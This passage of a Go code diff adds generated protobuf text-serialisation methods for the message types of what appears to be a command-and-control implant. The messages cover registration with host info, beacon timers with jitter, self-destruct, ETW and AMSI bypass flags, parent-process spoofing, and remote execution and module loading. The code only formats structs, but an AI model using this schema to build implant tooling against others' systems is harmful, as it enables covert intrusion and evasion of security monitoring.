+ protobuf_go_lite.SizeOfVarint(uint64(l)) + l + } + if len(m.U64Array) > 0 { + l = 0 + for _, e := range m.U64Array { + l += protobuf_go_lite.SizeOfVarint(uint64(e)) + } + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(l)) + l + } + if len(m.BoolArray) > 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(len(m.BoolArray))) + len(m.BoolArray)*1 + } + if len(m.StringArray) > 0 { + for _, s := range m.StringArray { + l = len(s) + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + if len(m.BytesArray) > 0 { + for _, b := range m.BytesArray { + l = len(b) + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (x *Ping) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Ping {") + if x.Nonce != 0 { + if sb.Len() > 6 { + sb.WriteString(" ") + } + sb.WriteString("nonce: ") + sb.WriteString(strconv.FormatInt(int64(x.Nonce), 10)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *Ping) String() string { + return x.MarshalProtoText() +} +func (x *Register) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Register {") + if x.Name != "" { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.Proxy != "" { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("proxy: ") + sb.WriteString(strconv.Quote(x.Proxy)) + } + if len(x.Module) > 0 { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("module: [") + for i, v := range x.Module { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString("]") + } + if len(x.Addons) > 0 { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("addons: [") + for i, v := range x.Addons { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(v.MarshalProtoText()) + } + sb.WriteString("]") + } + if x.Timer != nil { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("timer: ") + sb.WriteString(x.Timer.MarshalProtoText()) + } + if x.Sysinfo != nil { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("sysinfo: ") + sb.WriteString(x.Sysinfo.MarshalProtoText()) + } + if x.Secure != nil { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("secure: ") + sb.WriteString(x.Secure.MarshalProtoText()) + } + sb.WriteString("}") + return sb.String() +} + +func (x *Register) String() string { + return x.MarshalProtoText() +} +func (x *Secure) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Secure {") + if x.Enable != false { + if sb.Len() > 8 { + sb.WriteString(" ") + } + sb.WriteString("enable: ") + sb.WriteString(strconv.FormatBool(x.Enable)) + } + if x.Key != "" { + if sb.Len() > 8 { + sb.WriteString(" ") + } + sb.WriteString("key: ") + sb.WriteString(strconv.Quote(x.Key)) + } + if x.Type != "" { + if sb.Len() > 8 { + sb.WriteString(" ") + } + sb.WriteString("type: ") + sb.WriteString(strconv.Quote(x.Type)) + } + if x.PublicKey != "" { + if sb.Len() > 8 { + sb.WriteString(" ") + } + sb.WriteString("public_key: ") + sb.WriteString(strconv.Quote(x.PublicKey)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *Secure) String() string { + return x.MarshalProtoText() +} +func (x *KeyExchangeRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("KeyExchangeRequest {") + if x.PublicKey != "" { + if sb.Len() > 20 { + sb.WriteString(" ") + } + sb.WriteString("public_key: ") + sb.WriteString(strconv.Quote(x.PublicKey)) + } + if x.Signature != nil { + if sb.Len() > 20 { + sb.WriteString(" ") + } + sb.WriteString("signature: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Signature)) + sb.WriteString("\"") + } + if x.Timestamp != 0 { + if sb.Len() > 20 { + sb.WriteString(" ") + } + sb.WriteString("timestamp: ") + sb.WriteString(strconv.FormatUint(uint64(x.Timestamp), 10)) + } + if x.Nonce != "" { + if sb.Len() > 20 { + sb.WriteString(" ") + } + sb.WriteString("nonce: ") + sb.WriteString(strconv.Quote(x.Nonce)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *KeyExchangeRequest) String() string { + return x.MarshalProtoText() +} +func (x *KeyExchangeResponse) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("KeyExchangeResponse {") + if x.PublicKey != "" { + if sb.Len() > 21 { + sb.WriteString(" ") + } + sb.WriteString("public_key: ") + sb.WriteString(strconv.Quote(x.PublicKey)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *KeyExchangeResponse) String() string { + return x.MarshalProtoText() +} +func (x *Init) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Init {") + if x.Data != nil { + if sb.Len() > 6 { + sb.WriteString(" ") + } + sb.WriteString("data: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Data)) + sb.WriteString("\"") + } + sb.WriteString("}") + return sb.String() +} + +func (x *Init) String() string { + return x.MarshalProtoText() +} +func (x *SysInfo) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("SysInfo {") + if x.Filepath != "" { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("filepath: ") + sb.WriteString(strconv.Quote(x.Filepath)) + } + if x.Workdir != "" { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("workdir: ") + sb.WriteString(strconv.Quote(x.Workdir)) + } + if x.IsPrivilege != false { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("is_privilege: ") + sb.WriteString(strconv.FormatBool(x.IsPrivilege)) + } + if x.Os != nil { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("os: ") + sb.WriteString(x.Os.MarshalProtoText()) + } + if x.Process != nil { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("process: ") + sb.WriteString(x.Process.MarshalProtoText()) + } + sb.WriteString("}") + return sb.String() +} + +func (x *SysInfo) String() string { + return x.MarshalProtoText() +} +func (x *Suicide) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Suicide {") + if x.Type != 0 { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("type: ") + sb.WriteString(strconv.FormatInt(int64(x.Type), 10)) + } + if x.Timestamp != 0 { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("timestamp: ") + sb.WriteString(strconv.FormatInt(int64(x.Timestamp), 10)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *Suicide) String() string { + return x.MarshalProtoText() +} +func (x *Request_ParamsEntry) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ParamsEntry {") + if x.Key != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("key: ") + sb.WriteString(strconv.Quote(x.Key)) + } + if x.Value != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("value: ") + sb.WriteString(strconv.Quote(x.Value)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *Request_ParamsEntry) String() string { + return x.MarshalProtoText() +} +func (x *Request) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Request {") + if x.Name != "" { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.Input != "" { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("input: ") + sb.WriteString(strconv.Quote(x.Input)) + } + if len(x.Args) > 0 { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("args: [") + for i, v := range x.Args { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString("]") + } + if len(x.Params) > 0 { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("params: {") + for _, k := range slices.Sorted(maps.Keys(x.Params)) { + v := x.Params[k] + sb.WriteString(" ") + sb.WriteString(strconv.Quote(k)) + sb.WriteString(": ") + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString(" }") + } + if x.Bin != nil { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("bin: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Bin)) + sb.WriteString("\"") + } + sb.WriteString("}") + return sb.String() +} + +func (x *Request) String() string { + return x.MarshalProtoText() +} +func (x *Response_KvEntry) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("KvEntry {") + if x.Key != "" { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("key: ") + sb.WriteString(strconv.Quote(x.Key)) + } + if x.Value != "" { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("value: ") + sb.WriteString(strconv.Quote(x.Value)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *Response_KvEntry) String() string { + return x.MarshalProtoText() +} +func (x *Response) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Response {") + if x.Output != "" { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("output: ") + sb.WriteString(strconv.Quote(x.Output)) + } + if x.Error != "" { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("error: ") + sb.WriteString(strconv.Quote(x.Error)) + } + if len(x.Kv) > 0 { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("kv: {") + for _, k := range slices.Sorted(maps.Keys(x.Kv)) { + v := x.Kv[k] + sb.WriteString(" ") + sb.WriteString(strconv.Quote(k)) + sb.WriteString(": ") + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString(" }") + } + if len(x.Array) > 0 { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("array: [") + for i, v := range x.Array { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *Response) String() string { + return x.MarshalProtoText() +} +func (x *BypassRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("BypassRequest {") + if x.ETW != false { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("ETW: ") + sb.WriteString(strconv.FormatBool(x.ETW)) + } + if x.AMSI != false { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("AMSI: ") + sb.WriteString(strconv.FormatBool(x.AMSI)) + } + if x.BlockDll != false { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("block_dll: ") + sb.WriteString(strconv.FormatBool(x.BlockDll)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *BypassRequest) String() string { + return x.MarshalProtoText() +} +func (x *NetInterface) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("NetInterface {") + if x.Index != 0 { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("index: ") + sb.WriteString(strconv.FormatInt(int64(x.Index), 10)) + } + if x.Name != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.Mac != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("mac: ") + sb.WriteString(strconv.Quote(x.Mac)) + } + if len(x.IpAddresses) > 0 { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("ip_addresses: [") + for i, v := range x.IpAddresses { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *NetInterface) String() string { + return x.MarshalProtoText() +} +func (x *SockTabEntry) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("SockTabEntry {") + if x.LocalAddr != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("local_addr: ") + sb.WriteString(strconv.Quote(x.LocalAddr)) + } + if x.RemoteAddr != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("remote_addr: ") + sb.WriteString(strconv.Quote(x.RemoteAddr)) + } + if x.SkState != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("skState: ") + sb.WriteString(strconv.Quote(x.SkState)) + } + if x.Pid != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("pid: ") + sb.WriteString(strconv.Quote(x.Pid)) + } + if x.Protocol != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("protocol: ") + sb.WriteString(strconv.Quote(x.Protocol)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *SockTabEntry) String() string { + return x.MarshalProtoText() +} +func (x *NetstatResponse) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("NetstatResponse {") + if len(x.Socks) > 0 { + if sb.Len() > 17 { + sb.WriteString(" ") + } + sb.WriteString("socks: [") + for i, v := range x.Socks { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(v.MarshalProtoText()) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *NetstatResponse) String() string { + return x.MarshalProtoText() +} +func (x *Block) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Block {") + if x.BlockId != 0 { + if sb.Len() > 7 { + sb.WriteString(" ") + } + sb.WriteString("block_id: ") + sb.WriteString(strconv.FormatUint(uint64(x.BlockId), 10)) + } + if x.Content != nil { + if sb.Len() > 7 { + sb.WriteString(" ") + } + sb.WriteString("content: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Content)) + sb.WriteString("\"") + } + if x.End != false { + if sb.Len() > 7 { + sb.WriteString(" ") + } + sb.WriteString("end: ") + sb.WriteString(strconv.FormatBool(x.End)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *Block) String() string { + return x.MarshalProtoText() +} +func (x *ACK) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ACK {") + if x.Id != 0 { + if sb.Len() > 5 { + sb.WriteString(" ") + } + sb.WriteString("id: ") + sb.WriteString(strconv.FormatUint(uint64(x.Id), 10)) + } + if x.Success != false { + if sb.Len() > 5 { + sb.WriteString(" ") + } + sb.WriteString("success: ") + sb.WriteString(strconv.FormatBool(x.Success)) + } + if x.End != false { + if sb.Len() > 5 { + sb.WriteString(" ") + } + sb.WriteString("end: ") + sb.WriteString(strconv.FormatBool(x.End)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *ACK) String() string { + return x.MarshalProtoText() +} +func (x *Os) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Os {") + if x.Name != "" { + if sb.Len() > 4 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.Version != "" { + if sb.Len() > 4 { + sb.WriteString(" ") + } + sb.WriteString("version: ") + sb.WriteString(strconv.Quote(x.Version)) + } + if x.Release != "" { + if sb.Len() > 4 { + sb.WriteString(" ") + } + sb.WriteString("release: ") + sb.WriteString(strconv.Quote(x.Release)) + } + if x.Arch != "" { + if sb.Len() > 4 { + sb.WriteString(" ") + } + sb.WriteString("arch: ") + sb.WriteString(strconv.Quote(x.Arch)) + } + if x.Username != "" { + if sb.Len() > 4 { + sb.WriteString(" ") + } + sb.WriteString("username: ") + sb.WriteString(strconv.Quote(x.Username)) + } + if x.Hostname != "" { + if sb.Len() > 4 { + sb.WriteString(" ") + } + sb.WriteString("hostname: ") + sb.WriteString(strconv.Quote(x.Hostname)) + } + if x.Locale != "" { + if sb.Len() > 4 { + sb.WriteString(" ") + } + sb.WriteString("locale: ") + sb.WriteString(strconv.Quote(x.Locale)) + } + if len(x.ClrVersion) > 0 { + if sb.Len() > 4 { + sb.WriteString(" ") + } + sb.WriteString("clr_version: [") + for i, v := range x.ClrVersion { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *Os) String() string { + return x.MarshalProtoText() +} +func (x *Process) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Process {") + if x.Name != "" { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.Pid != 0 { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("pid: ") + sb.WriteString(strconv.FormatUint(uint64(x.Pid), 10)) + } + if x.Ppid != 0 { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("ppid: ") + sb.WriteString(strconv.FormatUint(uint64(x.Ppid), 10)) + } + if x.Owner != "" { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("owner: ") + sb.WriteString(strconv.Quote(x.Owner)) + } + if x.Arch != "" { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("arch: ") + sb.WriteString(strconv.Quote(x.Arch)) + } + if x.Path != "" { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("path: ") + sb.WriteString(strconv.Quote(x.Path)) + } + if x.Args != "" { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("args: ") + sb.WriteString(strconv.Quote(x.Args)) + } + if x.Uid != "" { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("uid: ") + sb.WriteString(strconv.Quote(x.Uid)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *Process) String() string { + return x.MarshalProtoText() +} +func (x *Timer) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Timer {") + if x.Expression != "" { + if sb.Len() > 7 { + sb.WriteString(" ") + } + sb.WriteString("expression: ") + sb.WriteString(strconv.Quote(x.Expression)) + } + if x.Jitter != 0 { + if sb.Len() > 7 { + sb.WriteString(" ") + } + sb.WriteString("jitter: ") + sb.WriteString(strconv.FormatFloat(x.Jitter, 'g', -1, 64)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *Timer) String() string { + return x.MarshalProtoText() +} +func (x *FileInfo) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("FileInfo {") + if x.Name != "" { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("Name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.IsDir != false { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("IsDir: ") + sb.WriteString(strconv.FormatBool(x.IsDir)) + } + if x.Size != 0 { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("Size: ") + sb.WriteString(strconv.FormatUint(uint64(x.Size), 10)) + } + if x.ModTime != 0 { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("ModTime: ") + sb.WriteString(strconv.FormatInt(int64(x.ModTime), 10)) + } + if x.Mode != 0 { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("Mode: ") + sb.WriteString(strconv.FormatUint(uint64(x.Mode), 10)) + } + if x.Link != "" { + if sb.Len() > 10 { + sb.WriteString(" ") + } + sb.WriteString("Link: ") + sb.WriteString(strconv.Quote(x.Link)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *FileInfo) String() string { + return x.MarshalProtoText() +} +func (x *SacrificeProcess) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("SacrificeProcess {") + if x.Hidden != false { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("hidden: ") + sb.WriteString(strconv.FormatBool(x.Hidden)) + } + if x.BlockDll != false { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("block_dll: ") + sb.WriteString(strconv.FormatBool(x.BlockDll)) + } + if x.Etw != false { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("etw: ") + sb.WriteString(strconv.FormatBool(x.Etw)) + } + if x.Ppid != 0 { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("ppid: ") + sb.WriteString(strconv.FormatUint(uint64(x.Ppid), 10)) + } + if x.Argue != "" { + if sb.Len() > 18 { + sb.WriteString(" ") + } + sb.WriteString("argue: ") + sb.WriteString(strconv.Quote(x.Argue)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *SacrificeProcess) String() string { + return x.MarshalProtoText() +} +func (x *LsResponse) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("LsResponse {") + if x.Path != "" { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("Path: ") + sb.WriteString(strconv.Quote(x.Path)) + } + if x.Exists != false { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("Exists: ") + sb.WriteString(strconv.FormatBool(x.Exists)) + } + if len(x.Files) > 0 { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("Files: [") + for i, v := range x.Files { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(v.MarshalProtoText()) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *LsResponse) String() string { + return x.MarshalProtoText() +} +func (x *DriveInfo) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("DriveInfo {") + if x.Path != "" { + if sb.Len() > 11 { + sb.WriteString(" ") + } + sb.WriteString("path: ") + sb.WriteString(strconv.Quote(x.Path)) + } + if x.DriveType != "" { + if sb.Len() > 11 { + sb.WriteString(" ") + } + sb.WriteString("drive_type: ") + sb.WriteString(strconv.Quote(x.DriveType)) + } + if x.TotalSize != 0 { + if sb.Len() > 11 { + sb.WriteString(" ") + } + sb.WriteString("total_size: ") + sb.WriteString(strconv.FormatUint(uint64(x.TotalSize), 10)) + } + if x.FreeSize != 0 { + if sb.Len() > 11 { + sb.WriteString(" ") + } + sb.WriteString("free_size: ") + sb.WriteString(strconv.FormatUint(uint64(x.FreeSize), 10)) + } + if x.FileSystem != "" { + if sb.Len() > 11 { + sb.WriteString(" ") + } + sb.WriteString("file_system: ") + sb.WriteString(strconv.Quote(x.FileSystem)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *DriveInfo) String() string { + return x.MarshalProtoText() +} +func (x *EnumDriversResponse) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("EnumDriversResponse {") + if len(x.Drives) > 0 { + if sb.Len() > 21 { + sb.WriteString(" ") + } + sb.WriteString("drives: [") + for i, v := range x.Drives { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(v.MarshalProtoText()) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *EnumDriversResponse) String() string { + return x.MarshalProtoText() +} +func (x *PsResponse) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("PsResponse {") + if len(x.Processes) > 0 { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("processes: [") + for i, v := range x.Processes { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(v.MarshalProtoText()) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *PsResponse) String() string { + return x.MarshalProtoText() +} +func (x *ExecRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ExecRequest {") + if x.Path != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("path: ") + sb.WriteString(strconv.Quote(x.Path)) + } + if len(x.Args) > 0 { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("args: [") + for i, v := range x.Args { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString("]") + } + if x.Output != false { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("output: ") + sb.WriteString(strconv.FormatBool(x.Output)) + } + if x.Singleton != false { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("singleton: ") + sb.WriteString(strconv.FormatBool(x.Singleton)) + } + if x.Realtime != false { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("realtime: ") + sb.WriteString(strconv.FormatBool(x.Realtime)) + } + if x.Ppid != 0 { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("ppid: ") + sb.WriteString(strconv.FormatUint(uint64(x.Ppid), 10)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *ExecRequest) String() string { + return x.MarshalProtoText() +} +func (x *ExecResponse) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ExecResponse {") + if x.StatusCode != 0 { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("status_code: ") + sb.WriteString(strconv.FormatInt(int64(x.StatusCode), 10)) + } + if x.Stdout != nil { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("stdout: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Stdout)) + sb.WriteString("\"") + } + if x.Stderr != nil { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("stderr: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Stderr)) + sb.WriteString("\"") + } + if x.Pid != 0 { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("pid: ") + sb.WriteString(strconv.FormatUint(uint64(x.Pid), 10)) + } + if x.End != false { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("end: ") + sb.WriteString(strconv.FormatBool(x.End)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *ExecResponse) String() string { + return x.MarshalProtoText() +} +func (x *BinaryResponse) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("BinaryResponse {") + if x.Data != nil { + if sb.Len() > 16 { + sb.WriteString(" ") + } + sb.WriteString("data: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Data)) + sb.WriteString("\"") + } + if x.Message != nil { + if sb.Len() > 16 { + sb.WriteString(" ") + } + sb.WriteString("message: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Message)) + sb.WriteString("\"") + } + if x.Status != 0 { + if sb.Len() > 16 { + sb.WriteString(" ") + } + sb.WriteString("status: ") + sb.WriteString(strconv.FormatInt(int64(x.Status), 10)) + } + if x.Err != "" { + if sb.Len() > 16 { + sb.WriteString(" ") + } + sb.WriteString("err: ") + sb.WriteString(strconv.Quote(x.Err)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *BinaryResponse) String() string { + return x.MarshalProtoText() +} +func (x *Modules) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Modules {") + if len(x.Modules) > 0 { + if sb.Len() > 9 { + sb.WriteString(" ") + } + sb.WriteString("modules: [") + for i, v := range x.Modules { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *Modules) String() string { + return x.MarshalProtoText() +} +func (x *Addons) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Addons {") + if len(x.Addons) > 0 { + if sb.Len() > 8 { + sb.WriteString(" ") + } + sb.WriteString("addons: [") + for i, v := range x.Addons { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(v.MarshalProtoText()) + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *Addons) String() string { + return x.MarshalProtoText() +} +func (x *Addon) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("Addon {") + if x.Name != "" { + if sb.Len() > 7 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.Type != "" { + if sb.Len() > 7 { + sb.WriteString(" ") + } + sb.WriteString("type: ") + sb.WriteString(strconv.Quote(x.Type)) + } + if x.Depend != "" { + if sb.Len() > 7 { + sb.WriteString(" ") + } + sb.WriteString("depend: ") + sb.WriteString(strconv.Quote(x.Depend)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *Addon) String() string { + return x.MarshalProtoText() +} +func (x *LoadModule) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("LoadModule {") + if x.Bundle != "" { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("bundle: ") + sb.WriteString(strconv.Quote(x.Bundle)) + } + if x.Bin != nil { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("bin: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Bin)) + sb.WriteString("\"") + } + sb.WriteString("}") + return sb.String() +} + +func (x *LoadModule) String() string { + return x.MarshalProtoText() +} +func (x *LoadAddon) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("LoadAddon {") + if x.Name != "" { + if sb.Len() > 11 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if x.Type != "" { + if sb.Len() > 11 { + sb.WriteString(" ") + } + sb.WriteString("type: ") + sb.WriteString(strconv.Quote(x.Type)) + } + if x.Depend != "" { + if sb.Len() > 11 { + sb.WriteString(" ") + } + sb.WriteString("depend: ") + sb.WriteString(strconv.Quote(x.Depend)) + } + if x.Bin != nil { + if sb.Len() > 11 { + sb.WriteString(" ") + } + sb.WriteString("bin: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.Bin)) + sb.WriteString("\"") + } + sb.WriteString("}") + return sb.String() +} + +func (x *LoadAddon) String() string { + return x.MarshalProtoText() +} +func (x *ExecuteAddon) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("ExecuteAddon {") + if x.Addon != "" { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("addon: ") + sb.WriteString(strconv.Quote(x.Addon)) + } + if x.ExecuteBinary != nil { + if sb.Len() > 14 { + sb.WriteString(" ") + } + sb.WriteString("execute_binary: ") + sb.WriteString(x.ExecuteBinary.MarshalProtoText()) + } + 